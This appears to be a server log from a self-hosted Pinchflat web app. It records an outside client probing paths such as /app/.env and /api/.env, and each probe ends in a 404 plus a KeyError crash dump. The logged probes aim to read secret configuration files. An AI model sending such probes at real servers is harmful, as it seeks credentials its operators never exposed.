PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/app/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dHqwFe3zIVk0AFoDh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162679.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/.env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42722}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162679.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/.env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42722}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162680.0>, params: %{}, path_info: ["app", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/app/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dHq (truncated) 17:50:17.004 [info] {"source":"oban","duration":1250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:17.560 [info] GET /api/.env 17:50:17.560 [debug] QUERY OK source="settings" db=0.2ms idle=1276.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:17.561 [debug] QUERY OK source="settings" db=0.2ms idle=1244.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:17.561 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:17.561 [error] #PID<0.162682.0> running PinchflatWeb.Endpoint (connection #PID<0.162681.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /api/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162681.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/.env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 43646}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162682.0>, params: %{}, path_info: ["api", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/api/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dH6DboMayzgIABvFE"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162681.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/.env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 43646}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162681.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/.env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 43646}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162682.0>, params: %{}, path_info: ["api", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/api/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dH6 (truncated) 17:50:18.081 [info] GET /application/.env 17:50:18.081 [debug] QUERY OK source="settings" db=0.3ms idle=1076.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:18.082 [debug] QUERY OK source="settings" db=0.1ms idle=798.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:18.082 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:18.082 [error] #PID<0.162684.0> running PinchflatWeb.Endpoint (connection #PID<0.162683.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /application/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /application/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/application/.env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 43650}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162684.0>, params: %{}, path_info: ["application", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/application/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dH7_s3kveulAAFoEB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/application/.env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 43650}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /application/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/application/.env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 43650}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162684.0>, params: %{}, path_info: ["application", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/application/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-contro (truncated) 17:50:18.737 [info] GET /functions/.env 17:50:18.738 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1177.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:18.738 [debug] QUERY OK source="settings" db=0.1ms idle=1177.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:18.738 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:18.739 [error] #PID<0.162686.0> running PinchflatWeb.Endpoint (connection #PID<0.162685.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /functions/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /functions/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162685.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/functions/.env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 43658}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162686.0>, params: %{}, path_info: ["functions", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/functions/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dH-cHysKF8HMAFoEh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162685.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/functions/.env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 43658}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /functions/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162685.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/functions/.env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 43658}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162686.0>, params: %{}, path_info: ["functions", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/functions/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, priv (truncated) 17:50:27.186 [info] GET / 17:50:27.186 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 17:50:27.187 [debug] QUERY OK source="settings" db=0.1ms idle=1903.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:27.187 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1860.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 17:50:27.187 [debug] QUERY OK source="sources" db=0.2ms idle=904.1ms SELECT count(s0."id") FROM "sources" AS s0 [] 17:50:27.189 [debug] QUERY OK source="media_items" db=1.3ms idle=904.4ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:50:27.189 [debug] QUERY OK source="media_items" db=0.4ms idle=861.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:50:27.190 [debug] QUERY OK source="settings" db=0.1ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:27.190 [debug] QUERY OK source="settings" db=0.1ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", 